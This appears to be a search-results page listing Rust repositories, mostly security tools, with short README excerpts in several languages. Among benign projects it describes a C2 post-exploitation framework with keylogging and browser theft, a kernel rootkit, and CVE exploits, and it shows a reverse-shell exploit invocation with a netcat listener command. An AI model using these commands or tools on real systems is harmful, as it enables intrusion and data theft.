12679 matches found
igvm
igvm 本项目是独立客户虚拟机（Independent Guest Virtual Machine，IGVM）文件格式的所在地。格式规范见 igvmdefs crate，二进制格式的 Rust 实现则在 igvm crate 中。 IGVM 文件格式旨在封装启动虚拟机所需的所有信息，适用于任何虚拟化栈，并支持诸如 AMD SEV-SNP 和 Intel TDX 等不同隔离技术。 在概念层面上，该文件格式是由生成文件的工具创建的一组命令，加载器使用这些命令来构建初始的客户状态。文件格式还包含测量信息，底层平台将使用这些信息确认文件已正确加载并由相应权威机构签名。 参与贡献...
chimera
Chimera 将不受信任的代码沙盒化，并提供到主机的安全访问。 Chimera 是一个用于不完全受信任代码的用户态沙箱——非常适合在与你共享的机器上运行任意生成命令的编码代理。它限制进程对宿主机的操作，同时仍允许其访问宿主机的文件和工具，从而使代码保持有用，但无法破坏系统。由于作为普通程序运行，Chimera 无需虚拟机、容器、特殊硬件、内核特性或特权——它在你的代码已经运行的地方就能工作。 它通过在同一ISA上进行动态二进制转换来运行未经修改的二进制文件，拦截每个客户系统调用，从而让沙箱决定其行为。Chimera 包含两个部分：一个用于在shell中包装进程的命令行工具...
urx
Extracts URLs from OSINT Archives for Security Insights. Urx is a command-line tool designed for collecting URLs from OSINT archives, such as the Wayback Machine and Common Crawl. Built with Rust for efficiency, it leverages asynchronous processing to rapidly query multiple data sources. This too...
CVE-2025-24071_POC
Tutorial en vídeo Creador de archivos de biblioteca de Windows Demo de CVE-2025-24071/CVE-2025-24054 Una aplicación minimalista en Rust que demuestra la creación de archivos de biblioteca de Windows .library-ms con rutas de red configurables. Resumen Este proyecto crea archivos de descripción de...
Concryptor
Concryptor 一个用 Rust 构建的多线程 AEAD 加密引擎。使用三重缓冲的 iouring 流水线、通过 Rayon 实现的并行分块处理以及通过 ring 实现的汇编优化密码，以每秒千兆字节的吞吐量加密和解密文件。 ⚠️ 免责声明：实验性软件 ⚠️ 该项目极其新，目前不建议用于生产或关键任务场景。 虽然加密原语（通过 ring 的 AES-256-GCM、ChaCha20-Poly1305）和格式设计是可靠的，但代码库尚未经过正式安全审计或广泛的实际测试。使用风险自负。如需保护敏感数据，请考虑使用经过实战检验的工具（如 GnuPG、age 或 OpenSSL），直到该项目成熟。...
ayaFlow
ayaFlow ayaFlow 是一个基于 Rust + eBPF 的网络流量分析工具，构建于 Aya 之上。它在每个 Linux 节点上运行一个代理，在入口和出口附加 TC 分类器，并暴露实时流量数据、基于 SQLite 的历史记录以及 Prometheus 指标。 功能 通过 eBPF TC 分类器捕获 IPv4、IPv6、TCP 和 UDP 流量。 在内存中维护实时连接统计信息，并将历史记录存储在 SQLite 中。 可选地使用反向 DNS、DNS 查询域名和 TLS SNI 增强流量信息。 暴露 REST API、WebSocket 流和 Prometheus /metrics...
Phoenix-Framework
Phoenix-框架 Phoenix 是一个基于异步的后渗透框架，它利用受信任的站点进行 C2 通信。 支持的平台 Phoenix 目前通过以下平台的 Bot API 提供支持： Discord Telegram Reddit（即将推出） Phoenix 提供以下基本功能： 字符串混淆 自动下载用户在聊天中上传的附件 自毁功能以阻碍取证分析 键盘记录，并支持捕获窗口标题 摄像头与桌面捕获及实时流传输 浏览器数据窃取 ... 命令 Command Description ------- ----------- /hello 检查机器人是否在主机上活跃 /help 打印帮助信息 /persi...
CVE-2021-21315
使用Rust语言编写的CVE-2021-21315漏洞利用代码 我是Rust新手，所以这段代码是我Rust语言练习的一部分 是的！！让我们获取反弹shell吧！！！！！！！ !仅供教育或研究使用 构建 cargo build 用法 ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 需要Netcat监听器来捕获反弹shell nc -nlvp nc -nlvp 1234...
oversight
Oversight v0.5.8 Oversight 是一款基于终端的安全情报工具，旨在审计 shell 脚本和命令，防止它们在接触你的系统之前造成危害。它通过提供对本地文件和通过 Raw URL 获取的远程脚本的高速交互式分析，弥合了"盲目信任"与"手动审计"之间的鸿沟。 Oversight 实时 AUR 更新 截图 1 截图 2 使命 大多数系统入侵都源于盲目信任，例如执行未经验证的软件包升级或运行原始安装脚本。Oversight 能让你清晰洞察这些缓冲区域，标记恶意模式并以通俗易懂的语言解释安全风险，使你在确认安装之前能够做出明智的决策。 功能特性 动态多流标签页布局...
rustpad
rustpad 👇🏃 ダウンロード Arch Linux| Kali / Debian| その他 ---|---|--- yay -Syu rustpad| リリースを参照| cargo install rustpad | | 🔪🏛️ マルチスレッドって何？ rustpad は、古典的な padbuster のマルチスレッド版後継ツールで、Rust で書かれています。パディングオラクル脆弱性 を悪用して、暗号鍵を知らなくても 、任意の暗号文を復号したり、任意の平文を暗号化したりできます！ 🦀💻 機能 暗号文の復号 任意の平文の暗号化 ブロックレベル・バイトレベル両方のマルチスレッド...
libhtp
LibHTP 生命周期终止公告（2026 年 7 月 7 日） 随着 Suricata 7 生命周期终止，libhtp 项目将不再由 OISF 维护和更新。 Suricata 8 及后续版本使用 libhtp 代码的一个分支，该分支已被转换并重写为 Rust。它以相同的许可证在 Suricata 仓库中提供： https://github.com/OISF/suricata/tree/main/rust/htp...
PGP-Tools
PGP Tools 用于 PGP 加密、解密和签名的开源浏览器扩展。 使用 Rust/WebAssembly 构建。除非必要，私钥绝不会接触 JS 堆。 在此获取 为什么选择 PGP Tools？ 开源且透明。 大多数 PGP 浏览器扩展都是闭源的。你不应该将你的秘密托付给一个黑盒子。 加密在 WASM 中运行，而不是 JavaScript。 所有 PGP 操作都在一个 Rust/Sequoia-PGP WebAssembly 沙箱中运行。JS 只持有你的密钥的一个不透明整数句柄——实际字节位于 WASM 线性内存中，并在释放时清零。私有密钥在生成和导入期间短暂经过 JS，然后被加密并存...
zap-api-rust
ZAP Rust API 用于访问 ZAP API 的 Rust 实现。有关 ZAP 的更多信息，请参阅（主）ZAP 项目。 该项目尚处于早期阶段，不应在生产环境中使用！ 获取帮助 有关使用 ZAP API 的帮助，请参阅： 示例 - 使用该库的示例集合； API 文档； ZAP 用户组 - 用于提问； 问题 若要报告与 ZAP API 相关的问题、错误和功能请求，请使用 ZAP 主项目的问题跟踪器。 构建 该项目使用 Cargo： cargo build 安装 该 API 可通过 https://crates.io/crates/zapapi 获取...
cve-2020-1054
CVE-2020-1054 CVE-2020-1054 Windows 7x64 本地权限提升 使用方法 如果需要，请安装 Rust https://www.rust-lang.org/learn/get-started 编译代码： cargo build --release 将 target/release/ 中的 .exe 复制到目标并执行。 Windows KB 如果未安装特定的 Windows KB，则需要对漏洞利用进行细微修改。这些修改已通过注释在两个位置标明。我将很快更新具体的 KB。 附加信息...
blackpill
BlackPill BlackPill 是一个用 Rust 编写的隐秘 Linux 内核工具包。 特性 该内核工具包由多个模块组成（这里指的是 Rust 模块，而非内核模块）： 防御规避 ：隐藏文件、进程、网络连接等。 钩子 ：挂钩系统调用和中断描述符表 IDT。 虚拟机监控器 ：创建虚拟机以执行恶意代码。 持久化 ：使内核工具包在重启后仍可持久化，并具备抗清除能力。 工具 ：各种实用工具。 架构如下所示： 以下是恶意代码从 C2 执行到虚拟机客户机的过程： C2 将精心构造的 x8664...
RsWindowsThingies
RsWindowsThingies Windows の諸機能…でも Rust で ツール listenmft エントリの値の変化を監視します。 listenmft 0.2.0 Matthew Seyer See the differences in MFT attirbues. USAGE: listenmft.exe OPTIONS FLAGS: -h, --help Prints help information -V, --version Prints version information OPTIONS: -d, --debug Debug level to use...
ioc-cve-2022-42475
ioc-cve-2022-42475 一个简单的工具，使用SSH检查fortiguard中记录的IOC。 它使用SSH并运行fortinet论坛中描述的命令。 构建 克隆项目。 此工具在Rust 1.66.1上开发。 使用cargo构建： cargo build --release 运行 构建后，它像其他命令行工具一样运行。 ./ioc-cve-2022-42475 它将在任何IOC匹配时返回true。...
pmanager
Pmanager Demo Description Store and retrieve your passwords from a secure offline database. Check if your passwords has leaked previously to prevent targeted password reuse attacks. Why develop another password manager ? This project was initially born from my desire to learn Rust. I was tired of...
pmanager
Pmanager 演示 描述 在安全的离线数据库中存储和检索您的密码。检查您的密码是否曾经泄露过，以防止针对性密码重用攻击。 为什么要开发另一个密码管理器？ 这个项目最初源于我想学习 Rust 的愿望。 我厌倦了 keepassxc 笨重的图形界面。 我想了解更多关于密码学的知识。 纯粹为了乐趣。: 特性 使用最先进的加密算法进行安全密码存储。 多次迭代 argon2id 进行密钥派生，使攻击者更难进行暴力破解攻击。 使用 Aes-gcm256 进行数据库加密。 自定义加密键值数据库，确保数据完整性。（阅读我关于此内容的博客文章 此处。） 安装和使用简便。核心功能无需连接外部服务。...